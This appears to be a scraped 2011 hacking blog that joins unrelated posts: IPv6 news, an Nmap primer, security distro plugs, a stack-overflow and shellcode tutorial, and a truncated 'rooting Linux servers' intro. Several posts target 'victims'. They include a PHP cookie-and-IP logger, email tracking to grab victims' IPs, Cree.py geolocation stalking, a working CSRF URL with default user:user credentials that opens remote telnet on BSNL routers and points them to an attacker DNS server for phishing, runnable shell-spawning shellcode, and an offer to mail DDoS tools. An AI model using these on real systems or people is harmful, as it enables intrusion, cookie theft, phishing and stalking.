World IPv6 Day

World IPv6 Day is an event sponsored and organized by the Internet Society and several large content providers to test public IPv6 deployment. It will start 00:00 UTC on June 8, 2011 and end 23:59 the same day.Web giants Facebook, Yahoo, and Google, with a combined one billion visitors per day, are participating by enabling IPv6 for their main services that day. Content distributors Limelight and Akamai are also joining the party by enabling their customers to participate. But unlike during the IETF IPv6 experiment, IPv4 won't be turned off.

Yahoo, Google, and Facebook have each been working on IPv6 for some time, but have been avoiding  to simply flip the IPv6 switch and add an IPv6 address to their DNS records so everyone can reach them over IPv6. They fear becoming unreachable to users with broken IPv6 connectivity. Google did measurements in this area in 2008, which showed that at that time, 0.09 percent of their users would have to suffer delays as their computers try to connect over IPv6, and eventually fail and retry over IPv4.

So Google created the Google over IPv6 program, where network operators have to promise the search giant that they have good IPv6. In turn, Google will respond to DNS requests from those networks with IPv6 addresses for various Google properties such as google.com and youtube.com. The hoi polloi have to make do with just IPv4 or type ipv6.google.com. (Only works if you have IPv6.) Facebook has www.v6.facebook.com—with address 2620:0:1cfe:face:b00c::3 

-HOW TO TAKE PART

Interested in joining the other organizations that are taking part in this initiative? Select your type of organization below and you’ll find everything you need to participate in World IPv6 Day:


http://isoc.org/wp/worldipv6day/

-Test Your Connectivity 

http://test-ipv6.com/

Thank You 

NMAP TUTORIAL

NMAP(Network Mapper) is one of the most basic & advanced fingerprinting tool.I recommend this tool to everyone.


Basically NMAP is port scanner with advanced features like host identification topology etc

The six port states recognized by Nmap

OPEN

An application is actively accepting TCP connections, UDP datagrams or SCTP associations on this port. Finding these is often the primary goal of port scanning. Security-minded people know that each open port is an avenue for attack. Attackers and pen-testers want to exploit the open ports, while administrators try to close or protect them with firewalls without thwarting legitimate users. Open ports  are also interesting for non-security scans because they show services available for use on the network.

CLOSED

A closed port is accessible (it receives and responds to Nmap probe packets), but there is no application listening on it. They can be helpful in showing that a host is up on an IP address (host discovery, or ping scanning), and as part of OS detection. Because closed ports are reachable, it may be worth scanning later in case some open up. Administrators may want to consider blocking such ports with a firewall. Then they would appear in the filtered state, discussed next.     

FILTERED 

Nmap cannot determine whether the port is open because packet filtering prevents its probes from reaching the port. The filtering could be from a dedicated firewall device, router rules, or host-based firewall software. These ports frustrate attackers because they provide so little information. Sometimes they respond with ICMP error messages such as type 3 code 13 (destination unreachable: communication administratively prohibited), but filters that simply drop probes without responding are far more common. This forces Nmap to retry several times just in case the probe was dropped due to network congestion rather than filtering. This slows down the scan dramatically.

 

UNFILTERED 

The unfiltered state means that a port is accessible, but Nmap is unable to determine whether it is open or closed. Only the ACK scan, which is used to map firewall rulesets, classifies ports into this state. Scanning unfiltered ports with other scan types such as Window scan, SYN scan, or FIN scan, may help resolve whether the port is open.

 

open|filtered

Nmap places ports in this state when it is unable to determine whether a port is open or filtered. This occurs for scan types in which open ports give no response. The lack of response could also mean that a packet filter dropped the probe or any response it elicited. So Nmap does not know for sure whether the port is open or being filtered. The UDP, IP protocol, FIN, NULL, and Xmas scans classify ports this way.

 

closed|filtered

This state is used when Nmap is unable to determine whether a port is closed or filtered. It is only used for the IP ID idle scan.

here are the two videos showing basics of nmap








For those who have low bandwith nd cant go through videos

 Here i used Zenmap(nmap GUI) to scan my windows machine on vmware i used intensive scan with all 65535 ports to scan

 Results were really cool showing all my open ports + os detection was accurate

you can download nmap from here 

do share your views for this tut

Asia runs out of IPv4 addresses

The Asia Pacific Network Information Centre (APNIC) has run out of all but a handful of IPv4 addresses that it is holding in reserve for start-up network operators.

APNIC is the first of the Internet's five regional Internet registries to deplete its free pool of IPv4 address space.
APNIC's news is another sign that CIOs and other IT executives need to begin migrating to IPv6, the long-anticipated upgrade to the Internet's main communications protocol known as IPv4.

"For anybody who hasn't figured out that it's time to do IPv6, this is another wake-up call for them," says Owen DeLong, an IPv6 evangelist at Hurricane Electric and a member of the advisory council of the American Registry for Internet Numbers (ARIN), the North American counterpart to APNIC.
Any CIO who isn't planning for IPv6 is "driving toward a brick wall and closing your eyes and hoping that it's going to disappear before you get there," DeLong says. Ignoring IPv6 "is not the best strategy."
Most IPv4 address space is expected to be handed out by the regional Internet registries by the end of 2011.

IPv4 uses 32-bit addresses and can support 4.3 billion devices connected directly to the Internet. IPv6, on the other hand, uses 128-bit addresses and supports a virtually unlimited number of devices -- 2 to the 128th power.
The Asia Pacific region has been gobbling up the most IPv4 address space in recent years. Geoff Huston, Chief Scientist at APNIC, said APNIC allocated more than 58 million IPv4 addresses in the last two months alone: 41.2 million in March and 16.8 million in April. Among the largest allocations since February 1 were 8.3 million to NTT Communications of Japan, 4.1 million addresses to China Mobile, 4.1 million addresses to KDDI of Japan. and 3.1 million to North Star Information of China. Three other carriers -- India's Bharti Airtel Ltd.,  Pakistan Telecommunications and Chinanet Hunan Province Network -- all received 2 million IPv4 addresses.
APNIC has depleted its IPv4 address space "dramatically faster than people expected," DeLong says. "My guess is that a lot of operators in the Asia Pacific region realized the time of IPv4 depletion was drawing near and they rushed to get their applications in."


APNIC is holding 16.7 million IPv4 addresses -- dubbed a /8 in network engineering terms -- in reserve to distribute in tiny allotments of around 1,000 addresses each to new and emerging IPv6-based networks so they can continue to communicate with the largely IPv4-based Internet infrastructure.
ARIN, which doles out IPv4 and IPv6 address space to companies operating in North America, predicts that it will run out of IPv4 addresses this fall.
"RIPE [the European Internet registry] is going to be the next one to run out. I wouldn't count on them making it until July," DeLong says. "I think ARIN will make it to the end of this year; maybe we'll run out in October or November."

Mobile Security:Hakin 9 E-Book

Hakin9 is a free, online, monthly publication on IT Security. The magazine is published in English and is available in the Internet as a FREE download. It is a source of advanced, practical guidelines regarding the latest hacking methods as well as the ways of securing systems, networks and applications.

• Passware Forensic Kit 10.3 Review by MICHAEL MUNT
• SpyShelter Application review by DAVID KNIFE
• How to use Netcat by MOHSEN MOSTAFA JOKAR
  Netcat is a network utillity for reading and writing network connections that support TCP and UDP protocol. Netcat is a Trojan that opens TCP or UDP ports on a target system and hackers use it with telnet to gain shell access to the target system.
• Security – Objectives, Process and Tips by RAHUL KUMAR GUPTA
  In a world where business is moving towards e-commerce and happening over the Internet, B2B, B2C, and C2C applications have always been an area of major security concern due to the pitfalls of HTTP security and the number of integration points.
• The Backroom Message That’s Stolen Your Deal by YURY CHEMERKIN
  Do you want to learn more about bigwig? Is someone keeping secrets from you? Need to silently record text messages, GPS locations and call info of your child or employee? Catch everybody at whatever you like with our unique service.
• Smartphones Security and Privacy by REBECCA WYNN
  All the threats that attack your enterprise computer centers and personal computer systems are quickly encompassing mobile devices.
• Defending Cell Phones and PDA’s by GARY S. MILIEFSKY
  We’re at the very early stages of Cell Phone and PDA exploitation through ‘trusted’ application downloads, Bluetooth attacks and social engineering. With so many corporations allowing these devices on their networks or not knowing how to block their gaining access to corporate and government network resources, it’s a very high risk situation.
• Special report: My RSA Conference 2011 Trip Report by GARY S. MILIEFSKY
  Annual Trek to the Greatest INFOSEC Show on Earth. What’s New and Exciting Under the Big Top of Network Security.
• Mobile Malware Trends and Analysis by JULIAN EVANS
  Over the past few years there has been much speculation about when mobile malware will start to proliferate, but as yet it doesn’t appear to have happened. Over the past 12 months though there has been some interesting developments concerning mobile malware. This feature will look at some of these and also highlight some of the mobile trends. Firstly let us look at the mobile malware life cycle.
• Why are Zero-Days Such a Big Deal? by MATTHEW JONKMAN
  Sounds like a stupid question at first. They’re a big deal because they’re vulnerabilities, and vulnerabilities are bad. Right? So why do we freak out about zero-days?
• Death Knell Sounds For Traditional Tokens by Andrew Kemshall
  There is an often used phrase that the stars have aligned but, in 2011, it is the technology that has come together to hammer the final nail into the physical tokens’ coffin. The cynical among you would argue that this statement has been made before and yes, I concede that tokens have survived and are still prevalent, so, why is this year different? Let’s examine the evidence.

Don’t know why netcat is referred to a Trojan in here though! Inorder to download the free magazine, you need to be registered with the site. So, what are you waiting for? Go ahead and register yourselves and download the free e-book here.

Geo location&Information Gathering

Gelocation has been a hot topic in the social engineering world for quite some time. As a social engineer it is important to be able to profile your targets efficiently. Tools like SET and Maltego make social engineering engagements easier.

Yet up until now there wasn’t a tool out there that helped a social engineer track the physical where-a-bouts of their targets. Of course you could go to their twitter, facebook, 4square and other social media accounts and gather all their messages and then find posts that have geo data in them and then take the time to gather all the details and make sense of them.

What if there was a way to retrieve information from Twitter as well as FourSquare. In addition, if you could then gather any geolocation data from flickr, twitpic.com, yfrog.com, img.ly, plixi.com, twitrpix.com, foleext.com, shozu.com, pickhur.com, moby.to, twitsnaps.com and twitgoo.com would that be impressive?

Enters Mr. Yiannis Kakavas. Yiannis approached Social-Engineer.Org with a beta of a tool he calls Cree.py…. and all I can say is creepy it is.

After a few minutes of installation it is up and running in BackTrack 4, Linux or Windows and you can track any targets gelocation from their tweets and social media.

Installation:

As I mentioned, installation in BackTrack is quite simple:
In a command console type:
Nano /etc/apt/sources.listAnd add this to the end:
deb http://people.dsv.su.se/~kakavas/creepy/ binary/Then in the console type:
apt-get updateThen to install cree.py type:
apt-get install creepyCreepy is now in the global menu under Applications-> Internet.
Or can be run by typing
CreepymapInto the console.

Running Cree.py

Once you start creepy up you are greeted by a very nice GUI interface:

Creepy Interface

In the “Search For” box you type in the full name of your target and hit “search”:

Searching with in Creepy

Once the search is done you can scroll through all your choices and double click them.  Which will place their nick into the Username field.
After that click the “Geolocate Target” button:

The Geolocation Map

That opens up the map view tab and starts to scrape through the targets tweets and other information looking for geolocation data.  When it is done searching:

Geo Data Galore

Some of the other great features of Cree.py is that you can export your targets map as a Google Earth filter and then open it up in Google Earth.

Google Earth Data

As you can see Cree.py is just that – CREEPY, but what a great tool to gather information and building profiles on targets.

source:social-engineer . org

Hackers: Heroes of the Computer Revolution (25th Anniversary Edition)

This 25th anniversary edition of Steven Levy’s classic book traces the exploits of the computer revolution’s original hackers — those brilliant and eccentric nerds from the late 1950s through the early ’80s who took risks, bent the rules, and pushed the world in a radical new direction. With updated material from noteworthy hackers such as Bill Gates, Mark Zukerberg, Richard Stallman, and Steve Wozniak, Hackers is a fascinating story that begins in early computer research labs and leads to the first home computers.

Levy profiles the imaginative brainiacs who found clever and unorthodox solutions to computer engineering problems. They had a shared sense of values, known as “the hacker ethic,” that still thrives today. Hackers captures a seminal period in recent history when underground activities blazed a trail for today’s digital world, from MIT students finagling access to clunky computer-card machines to the DIY culture that spawned the Altair and the Apple II.

About the Author
Levy is a senior writer for Wired. Previously, he was chief technology writer and a senior editor for Newsweek. Levy has written six books and had articles published in Harper’s, Macworld, The New York Times Magazine, The New Yorker, Premiere, and Rolling Stone. Steven has won several awards during his 30+ years of writing about technology, including Hackers, which PC Magazine named the best Sci-Tech book written in the last twenty years and, Crypto, which won the grand eBook prize at the 2001 Frankfurt Book festival.

 Download :http://www.megaupload.com/?d=GZQ2G2F0
                   http://depositfiles.com/en/files/f3canuqmj

HOW TO GET IP ADRESS EASILY

I have been getting requests that the content we are posting is not easy for beginners.I was little disappointed with such review so here we go simple yet effective post about very basic of intenet,networking the IP-address.

What is an IP address?
Every device connected to the public Internet is assigned a unique number known as an Internet Protocol (IP) address. IP addresses consist of four numbers separated by periods (also called a 'dotted-quad') and look something like 112.123.123.121(etc this is example of ipv4)

What can be done with an IP address?

IP adress is the very basic unit before you start a hack its basically used for fingerprinting,tracing and if victim is weak it wont take 10 secs to penetrate through vulnerability :)

HOW can I get an IP address?

Its an easy task to get your aswell as others ip addresses
to get your own ip address just go to this website

How to get ip of a website?

go to shell(command prompt) just type ping www.target.com
and there it will start showing numeric just like in this picture

How to get IP address of friends or victims?

Using E-mail receipts


E-mail receipt is a kind of notification you get as an e-mail when someone open (reading the mail send by you) your mail.


This notification consist of

• IP address of the mail reader.
• Time and date of reading the mail.
• Name and version of his browser.

 You need to follow these steps


a. Step 1:-


Visit readnotify and signup there. You can use your gmail, yahoo, hotmail,rediff or any email id. They give free trials for 2 weeks or 25 emails whichever comes first.


b. Step 2:-


Let's say you have used your email id example@gmail.com to register on readnotify.com, than login to your email account first.


c. Step 3:-


Click on the Compose mail menu and in the To : section write the email id of the culprit followed by readnotify.com, so the complete email address would be like victim@gmail.com.readnotify.com. 
just the normal procedure of email

step 4
you are done just wait for the victim to open that email volla you will get the details.
 

Using php scripts 

here is the basic php script

<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('file.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
header ("Location: http://google.com/")
?>

Process:save it in you hosting ripway,my3gb,blackapplehost etc dont forget to create a file.txt file which will save all the ips 

This will save ips with date,time,from where link came+u can redirect to another url just like i redirected to google in matter of seconds.

Upcoming post will be on fingerprinting with ip address so we can work with a flow.

Do share you views on this post i tried to keep it simple.

WEAKERTHAN LINUX FOR HACKERS

Most of you would have heard about backtrack but its not the only one in the business.Weakerthan is another linux based pentesting distro which is really good..Weakerthan is my second favorite after backtrack


Intro:

WeakNet Linux is designed primarily for penetration testing, forensic analysis and other security tasks. The default desktop environment is GNOME.

The tools i have selected are tools we use all the time here, as i said, If you find some that you want in it, please let me know. The image is about 1GB meaning; It will have to be on DVD, meaning; I can't host it here without risk of bandwidth dying! I need a place to upload it to. Some code written by WeakNet Labs Assistants from this site that are preinstalled:

* BRuWRT-FORSSE v2.0
* Easy-SSHd
* Web-Hacking-Portal v2.0
* Perlwd
* Netgh0st v3.0
* YouTube-Thief!
* Netgh0st v2.2
* DomainScan
* ADtrace
* Admin-Tool
* Tartarus v0.1
* and much more..

really good GUI+vulnerable applications to test our hacking skills


my personal experience with weaknet was really good & its worth.

WEAKERTHANv2 WeakNet Linux 5 - ISO ~684MB 
WeakNet Linux Complete Administration Guide 

BackTrack 4

Backtrack4 is the highest rated and acclaimed Linux security distribution to date. BackTrack is a Linux-based penetration testing arsenal that aids security professionals in the ability to perform assessments in a purely native environment dedicated to hacking. Regardless if you’re making BackTrack your primary operating system, booting from a LiveDVD, or using your favorite thumbdrive, BackTrack has been customized down to every package, kernel configuration, script and patch solely for the purpose of the penetration tester.

it contains about 300 pre installed tools :)
official change log for bt4 r2

• Kernel 2.6.35.8 – *Much* improved mac80211 stack.
• USB 3.0 support.
• New wireless cards supported.
• All wireless Injection patches applied, maximum support for wireless attacks.
• Even *faster* desktop environment.
• Revamped Fluxbox environment for the KDE challenged.
• Metasploit rebuilt from scratch, MySQL db_drivers working out of the box.
• Updated old packages, added new ones, and removed obsolete ones.
• New BackTrack Wiki with better documentation and support.
• Our most professional, tested and streamlined release ever.

 yes i would totally recommend you guys to use backtrack instead of other distros reason:
Backtrack is owned by offensive security they guys update it regularly+it has biggest community support in terms of hacking distros.

problem with backi was lack of hardware support.

you can download BACKTRACK from here(vmware&iso)

PenTBox v1.4

PenTBox is a Security Suite with programs like Password Crackers, Denial of Service testing tools like DoS and DDoS, Secure Password Generators, Honeypots and much more.Pentbox is destined to test security and stability of networks.

Tools included in PenTBox

Base64 encoder y decoder,
Digest for MD5,
SHA1,
SHA256 and SHA512,
Port scanner,
TCP DoS,
TCP AutoDoS,
SYN DoS,
Honeypot,
L33t Sp3@k Converter 

PenTBox is programmed in Ruby so ruby is required, and oriented to GNU/Linux systems compatible with Windows, MacOS and more.

Tutorial for PenTBox

1.Download PentBox and un tar
2. We are using windows box , simply run exe and choose from three options.
3. And your ready to attack  or audit. Nothing much to think or relay on.
Download PentBox Here

Pentbox is simple yet powerful .Feature i liked most is simple honeypot :) 

HACKING THROUGH ROUTERS(BSNL)

Hello Mates, This is my first post here

Today im going to show you how a series of vulnerabilities in a web Application could be creatively exploited through routers
 
Product Description:

The product which i had my hands on is this UTSTARCOM router,

It is one of the most common ADSL Modem cum Router which was rolled out by BSNL to their customers a year ago, when the number of internet subscribers was reaching the peak. This little devices runs a webserver which serves the web based router configuration application.Further it has a Telnet service running on it.
 
The So Called BuiltIn Security Features :

* Remote Web Access to the router is blocked by Default [so you can't access a victim's router by using his public IP]
* Remote Telnet Access is also blocked

After a little playaround with the device, i've found that there are 3 different users that can login into the router.
viz admin,user,support

The Documentation Provided by BSNL neither states that there are 3 different users that could access the device nor forces/asks/shows the users to change their default password for accessing the router [Note: Im not mentioning the PPoE Password]

http://www.chennai.bsnl.co.in/BBS/UT300R2U.htm
 
User Description:
As the name suggests, admin user has the ablility to do all configuration changes to the router, whereas the user privileged user could not do any changes in the configuration of the router.

Logged in as Admin:


Logged in as User:

 
Vulnerablility Description:

On a closer examination of the source code,i got hold of a javascript menuBCM.js

menuBCM.js: 
  
  function menuAdmin(options) { // All the options are displayed for ADMIN
   var std = options[MENU_OPTION_STANDARD];
   var proto = options[MENU_OPTION_PROTOCOL];
   var firewall = options[MENU_OPTION_FIREWALL];
   var nat = options[MENU_OPTION_NAT];
   var ipExt = options[MENU_OPTION_IP_EXTENSION];
   var wireless = options[MENU_OPTION_WIRELESS];
   var voice = options[MENU_OPTION_VOICE];
   var snmp = options[MENU_OPTION_SNMP];
   var ddnsd = options[MENU_OPTION_DDNSD];
   var sntp = options[MENU_OPTION_SNTP];
.
.
if ( user == 'admin' ) //this piece of code calls the respective menu to be displayed
      menuAdmin(options);
   else if ( user == 'support' )
      menuSupport(options);
   else if ( user == 'user' )
      menuUser();
}

-------------code truncated

 so it is pretty obvious from the code that the user privilege management is handled by this javacript by displaying all menu's to Admin and hides configuration menu's to the user.

so it is possible to navigate to the configurations page by a user if he knows the URL

The default username password combination is
admin:admin
user:user

Since we know that the user privilege management is handled by a javascript, it has got nothing to do in a telnet session, so when we telnet as either a admin or as a user, we get full access [privilege] to the router.

Further adding fuel to the fire, CSRF is present in the webbased configuration application
 
Exploiting Methods:

First and foremost point is we can't access the victim's router from WAN,

As CSRF vulnerability is present on the router, this script will do the job

http://user:user@192.168.1.1/scsrvcntr.cmd?
action=save&http=1&http=3&icmp=1&snmp=1&snmp=3&telnet=1&telnet=3&tftp=2&tftp=0

 Since there user:user account is some sort of hidden/undisclosed account, the possiblity of its default password being changed is very less.

we could send this link to a victim either in a email or by some SE techniques, what this does is, it changes the router configuration and allows Remote Web access, Remote Telnet access on the router.

The entire Exploit looks like this

1)index.html


2)config.html


So after the user visits this page, we will have his IP in our database or somewhere depending upon the IP logger script.
Now we can login into his router either by telnetting or by logging into the webapplication.

Even though the victim changes the admin password for the device, we could log in as user:user and navigate into password.html page and viewing source --Kabboomm Plain text passwords in javascripts

passwords.html


So now we got admin access on both TELNET service and webservice, now here comes a variety of exploitation techniques


Possible Attacks:

1.Denial of Service:

1.The attacker might implement MAC filtering or other IP restriction on the victim’s router.
2.Specifying a unreachable Static Route
3.Killing the httpd server process of the router repeatedly by telneting into the victim’s router.

2)Sniffing

1.The attacker could specify a static route passing through his network for the victim’s router and sniff the traffic from the victim. [SSL Strip + Ettercap + Wireshark]


3.Phishing:

This is the attack of our special interest as it is one of the stealthiest attack when combined with routing attacks.
The attacker could specify a fake DNS server for the victim router and could carry out phishing attacks.

http://192.168.1.1/dnscfg.cgi?dnsPrimary=XX.XX.XX.XX&dnsSecondary=XX.XX.XX.XX&dnsDynamic=0&dnsRefresh=1

XX.XX.XX.XX = Attackers DNS server

This changes the primary & secondary DNS servers of the victim’s router

Now the victim's network is like this



So we can specify our phishing sites IP address as A Records for famous websites like facebook,orkut,banking sites etc etc in our DNS server.



You can download the whitepaper here
Peace.. Similar vulnerablility is found in Nokia-Simens and many other Home Routers
Fairly long post, isn't it ?
Comments and Suggestions are Welcomed.  


credits : Boris

Trojan to Disable Cloud-Based Antivirus--BOHU

A recent blog entry from the Microsoft Malware Protection Center details information about a new malware (called Win32/Bohu.A) which is specifically designed to disable and mislead cloud-based antivirus software.
Cloud-based antivirus software differs from traditional antivirus software in that the antivirus client (running on the PC) sends important threat data to a server for backend analysis, and subsequently receives further detection and removal instruction.


The Bohu Trojan originates in China where there is a predominate use of cloud-based antivirus software. Once a Windows based machine is infected the malware installs different network level filters to disrupt and block the antivirus client accessing the backend antivirus services on the Internet.
As well as writing random data at the end of its key payload components to avoid hash-based detection, Bohu also installs a Windows Sockets service provider interface (SPI) filter to block the antivirus network traffic as well as a Network Driver Interface Specification (NDIS) filter. The NDIS filter then stops the antivirus client from uploading data to the server by looking for the server addresses in the data packets.

WordPress Releases Security Hardening Update

The WordPress project has announced the releases of WordPress 3.0.5. Dubbed as a security hardening release it is an essential update for those with any untrusted user accounts, but it also comes with other important security enhancements and hardening for all WordPress installations.
Two cross site scripting bugs have been squashed:

• Properly encode title used in Quick/Bulk Edit, and offer additional sanitization to various fields. Affects users of the Author or Contributor role.
• Preserve tag escaping in the tags meta box. Affects users of the Author or Contributor role.

Also included in 3.0.5 are two security enhancements one of which improves the security of any plugins which were not properly leveraging the WordPress security API.
All WordPress administrators are encouraged to upgrade to this latest version. You can update automatically from the Dashboard > Updates menu in your site’s admin area or download 3.0.5 directly

Packet Fence v2.0.1

PacketFence is a Open Source network access control (NAC) system.

packetfence

Many of us are familiar with network access control systems. A Network Access Control (NAC) is a computer networking solution that uses a set of protocols to define & implement a policy that describes how to secure access to a network nodes by devices when they initially attempt to access the network. NAC might integrate the automatic remediation process (fixing non-compliant nodes before allowing access) into the network systems, allowing the network infrastructure such as routers, switches and firewalls to work together with back office servers and end user computing equipment to ensure the information system is operating securely before interoperability is allowed.

What you can do with PacketFence :

• Block iPods wireless access
• Forbid rogue access points
• Perform compliance checks
• Eliminate Peer-to-Peer traffic
• Provide guest access
• Simplify VLAN management

PacketFence has very good advance features.

Registration

PacketFence supports an optional registration mechanism similar to “captive portal” solutions. An Acceptable Use Policy can be specified such that users cannot enable network access without first accepting it. The duration of a node registration can be a relative value (eg. “four weeks from first network access”) or an absolute date (eg. “Thu Jan 20 20:00:00 EST 2009″).

Detection of abnormal network activities

Abnormal network activities (computer virus, worms, spyware, etc.) can be detected using local and remote Snort sensors. Beyond simple detection, PacketFence layers its own alerting and suppression mechanism on each alert type. A set of configurable actions for each violation is available to administrators.

Proactive vulnerability scans

Nessus vulnerability scans can be performed on a scheduled or ad-hoc basis. PacketFence correlates the Nessus vulnerability ID’s of each scan to the violation configuration, returning content specific web pages about which vulnerability the host may have.

Isolation of problematic devices

PacketFence supports several isolation techniques, including VLAN isolation with VoIP support (even in heterogeneous environments) for multiple switch vendors


Remediation through a captive portal
Once trapped, all HTTP, IMAP and POP sessions are terminated by the PacketFence system. Based on the nodes current status (unregistered, open violation, etc), the user is redirected to the appropriate URL. In the case of a violation, the user will be presented with removal instructions for the particular infection he/she has.

802.1X

802.1X is supported through a FreeRADIUS module.

Wireless integration

PacketFence intregrates perfectly with wireless networks through a FreeRADIUS module. This allows you to secure your wired and wireless networks the same way.

DHCP fingerprinting

DHCP fingerprinting can be used to automatically register specific device types (eg. VoIP phones) and to disallow network access to other device types (eg. game consoles).


A good list of switches are also supported.


We have just started to test it in a test environment. Before the actual implementation, we will keep you updated and you can leave your comments .


Download PacketFence v2.0.1 (packetfence-2.0.1.tar.gz) here.

What Is Ddos Attack And How Does It Work?

What Is Ddos Attack And How Does It Work?

Many of people in illusions that Website hacking and Attacking is very Difficult and only some hackers and professionals can Do It... Now that's absolutely wrong thinking... Its as Easy as alphabetic.


First of all We all should know What are the Different Methods Of attacking Websites...
There are Generally Three Methods of Attacking an Website...

1. Ddos Attack
2. Shell Scripts Attack

3. Javascript Attack or Attack through Scripting.

Note: SQL and other techniques comes in the Hacking Websites Part Not in attacking Part. Attacking is simply for fun or intentionally causing damage to the Website..

Ddos Attack

What is a Distributed Denial of Service (DDoS) attack?

Have you ever tried to make a telephone call but couldn't because all the telephone circuits were busy? This may happen on a major holiday and often happens on Diwali,New year etcc.

The reason you couldn't get through is because the telephone system is designed to handle a limited number of calls at a time.

So upto now you will Got an Idea What is Ddos(Distibuted Denial of Service) Attack.
Basically Ddos attack is an attack which makes the Network So congested such that no further Requests are delivered.

This is Done by making a number of connections to the Websites through Different Computer or Networks. Also can be done from One Computer by making Connections through Different Ports as there are 64k ports available in Windows OS.


How Attacker Launch a Ddos Attack?

Over past years Denial of service attack has made huge amount of damage,Many of the have been victimed of this attack

Its Real,On February 6th, 2000, Yahoo portal was shut down for 3 hours. Then retailer Buy.com Inc. (BUYX) was hit the next day, hours after going public. By that evening, eBay (EBAY), Amazon.com (AMZN), and CNN (TWX) had gone dark. And in the morning, the mayhem continued with online broker E*Trade (EGRP) and others having traffic to their sites virtually choked off.

This attack also recently hit twitter on 6th August 2009,lot of people had trouble on logging on twitter,It was brought down by denial of service attack,They tired up there server so no one can get on log on it.Websites like facebook, eBay etc have also been victim of this attack.

First, Attackers build a network of computers that will be used to produce the volume of traffic needed to deny services to computer users. We'll call this an "attack network".

To build this attack network, Attackers look for computers that are poorly secured, such as those that have not been properly patched, or those with out-of-date or non-existent anti-virus software. When the Attackers find such computers, they install new programs on the computers that they can remotely control to carry out the attack.

These days, however, the process of building an attack network has been automated through self-propagating programs. These programs automatically find vulnerable computers, attack them, and then install the necessary programs. The process begins again as those newly compromised computers look for still other vulnerable computers.

Once an attack network is built, the intruder is ready to attack the chosen victim or victims. Some information security experts believe that many attack networks currently exist and are dormant, passively waiting for the command to launch an attack against a victim's computers. Others believe that once a victim has been identified, the attack network is built and the attack launched soon afterward.

So guys i think this is enough for today hope you all now familer with Ddos attack in future post will we show how to do Ddos attacks with various hacking tools like Serve Attack Pro and LOIC (Low Orbit Ion Cannon) and other exploits.

and if you want to try ddos then comment here and tools wil b delievr to your inbox

Make Your Own Anonymous Email Service

Do you want to send an email anonymously because, for example, you fear your views might not be appreciated by your boss? When avouching your opinion in public — critically important under more favorable circumstances — is unhealthy, anonymity becomes vital. Here i will show you how to setup your own anonymous email service. I am writing this post because there are some things that must be said, even when the speaker must remain anonymous. Lets start:


1) First of all you need to find a free hosting service that supports PHP and SendMail. Here is one that works perfect, and without ads: x10hosting.com. Create an account there.

2) Now open notepad and paste this PHP code: the code

because of some reason i am not going to give code here just write your email in comment and code will be sent in your mail


3) Save it everywhere u want as mail.php, then upload it in your host you created (x10hosting) via FTP.

4) Now we are done. Just go at yourname.x10hosting.com/mail.php, and start sending your fake emails.

Why sending anonymous emails is important:

* Anonymously report sensitive information to the media

* Send crime tips to law enforcement agencies anonymously

* Report wrongdoing or theft at the workplace

* Voice concerns to school principals anonymously

* Report child or any other abuse

* Initiate an anonymous chat discussion

* Share suspicions regarding a friend or loved one

What is exploit and how to use it?

What is an exploit

An exploit is a computer programm, which circumvent computer security. There are many ways to exploit security holes. If a computer programmer make a programming mistake in a computer program, it is sometimes possible to circumvent security. The coding of such programs, which attack (hack) the programming mistakes or security holes is the art of exploitation or exploit coding. Some common exploiting technics are stack exploits, heap exploits, format string exploits, ...


What is an stack exploit

A stack exploit occurs, if you can write more than the size of a buffer located on the stack into this buffer. If you can write more data, as the size of the buffer (more than 1024 bytes in this example) a stack overflow occurs. For example:

main(int argc, char **argv)
{
// This buffer is located at the stack
char buf[1024];
// i is located on the stack
int i;

// A 6 byte stack buffer overflow
for(i=0;i<1030;i++) buf[i] = 'A' // Another example // if argv larger than 1024 a overflow occur strcpy(buf, argv[1]); } Why a stack overflow is a security threat ? The assembler instruction 'call' push the return address on the stack. 'call' jump into a function in our example the function is main. If the function returns with the assembler instruction 'ret', it returns to the function pointer at the stack. If you can overflow the stack you can overwrite the return address located at stack. You can return to another location. The location should a pointer to a shellcode address. Read alephonestack.txt for more information. You can download it at my papers section. What is a shellcode

Shellcode are machine instructions, which launch a shell for example. A shellcode looks like this:

char shellcode[]="\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62 \x69\x89"
"\xe3\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24\xb0\x0b\ xcd\x80";

Every char is a machine instruction. \xcd\x80 is 'int 80' for example. After an overflow occur we need a address to return. This shellcode launch a shell. If you point to the shellcode (after a stack overflow for example), the machine instructions are launched and spawns a shell. Compile this program. It tests the shellcode and spawns a shell:

// Compile this program with gcc sctest.c -o sctest and start it: ./sctest
// now you have someting like
// sh-2.03$


#include

char shellcode[]=
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\ x69\x89"
"\xe3\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24\xb0\x0b\ xcd\x80";
int
main()
{
void (*dsr) ();
(long) dsr = &shellcode;
printf("Size: %d bytes.\n", sizeof(shellcode));
dsr();
}

read alephonestack.txt for basic shellcode coding

What are heap overflows

If the heap is overflowed a heap buffer overflow occurs.
A heap overflow looks like that:

// It dynamically create a 1000 byte buffer on the heap.
main(int argc, char **argv)
{
// pointer points to a heap address
char *pointer = malloc(1000);
char *pointer2 = malloc(200);

// Overflowed, if argv[1] is larger than 1000 bytes.
// The buffer pointer 2 is overflowed if pointer
// contains more than 1000 bytes.
strcpy(pointer, argv[1]);

// Free dynamically allocated data
free(pointer)
free(pointer2);
}


Format String exploit's ?

If you control the format string in one of the printf, syslog or setproctitle function, a exploitation is possible. Format strings are something like "%s", "%x", "%d", ... For example:

main(int argc, char **argv)
{
char *buf = "TEST";

// The wrong way
// The user can control the format string
printf(argv[1]);

// You should code:
printf("%x", argv[1]);
}

ROOTING LINUX SERVERS

# Title: Rooting Linux Servers for beginners
# Date : 25 January 2011
# Author: Cyb3R_ShubhaM aKa L0c4lr00T
# Email: l0c4lr00t[at]yahoo.in
# Official Mail: ShubhaM[at]AcademyOfhacking.com
# Facebook: fb[dot]me/yoShubH

# Introduction- Hello All, This My second paper after Sql Injection. My first was much
successful :) thanks
to all for all those Lovely compliments. This paper will not be so long as my first one was
of 14 pages :D.
Let's Start,
# Things you need-
=> A Shell on a website
=> An Exploit
=> Log cleaner
=> Ssh Backdoor
=> Netcat
